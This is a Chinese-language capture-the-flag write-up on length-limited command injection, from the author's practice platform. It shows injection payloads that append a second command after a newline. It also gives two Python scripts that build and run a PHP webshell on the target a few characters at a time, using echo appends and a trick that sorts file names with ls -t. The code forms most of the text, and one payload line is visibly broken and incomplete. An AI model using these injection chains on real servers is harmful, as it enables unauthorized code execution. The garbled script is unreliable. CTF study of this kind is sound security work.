web-x位可控的命令执行

自有平台的命令执行基础练习题wp

exec2:13位可控

先试着提交几个。

# ip=127.0.0.1%0als /
flag_sGtVHR6EH6fZVewGaUdCDNIs7P3DXZg9
# ip=0.0.0.0%0a12345678901234
22ip 长度错误!

那么就开始在13个可控下写shell,echo -n {}<>>1,准确的说只有1个字符可以控制。写入后在根目录找到flag。

import requests

url = "http://10.154.7.128:28657/exec.php"
payload = "echo '' > 1.php " #后面的空格一定要有,没有就不行。。。我也不知道为什么。。

for i in payload: 
    data = {"ip":"0.0.0.0\necho -n \\{}>>1".format(i)} #python里%0a会被url编码,可以用\n,会自动转成%0a。转义符不能少。
    res = requests.post(url,data=data)
    print(data,res.text)
print ("[*] bash shell upload successful!")

#检查一下
data={"ip":"0.0.0.0;cat 1"}
res=requests.post(url,data=data)
print(res.text)

data={"ip":"0.0.0.0;bash 1"}
res=requests.post(url,data=data)

shell="http://10.154.7.128:28657/1.php"
res=requests.get(shell)
if  res.status_code == 200:
    print ("[*] get shell successful")

exec3:7位可控

题目源码


不够长度写内容,只能写文件名然后ls -t倒序排序。
连接文件名的时候注意给末尾留个\的位置

import requests,base64

PORT = 28014
url = "http://10.154.7.128:{}/exec.php?1={}"

payload = str(base64.b64encode(b'12.php".format(payload) #因为用1.php刚好会断在.开头,变成隐藏文件……所以用12.php
payload = payload+' '*(3-len(payload)%3) if len(payload)%3 else payload
print(payload)
print("[+]start attack!!!")
for i in range(len(payload),0,-3):
    shell = payload[i-3:i].replace(' ','\\ ').replace('|','\\|').replace('>','\\>')
    shell = '>'+shell+'\\' if i!=len(payload) else '>'+shell  #直接ls会有换行符。每一句末尾加个\表示未结束,换行继续写。
    requests.get(url.format(PORT,shell))
    print("[*]" + url.format(PORT,shell))

res = requests.get(url.format(PORT,'ls -t>0'))  
#res = requests.get(url.format(PORT,'cat 0'))
#print("[*]" + res.text)  

requests.get(url.format(PORT,'sh 0')) 
try:
    test = requests.get("http://10.154.7.128:{}/12.php".format(PORT))
    if test.status_code == requests.codes.ok:
        print("[*]Attack success!!!")
except:
    pass

exec4:看到还有5位可控字符的。留到以后补充吧。。。

你可能感兴趣的:(web-x位可控的命令执行)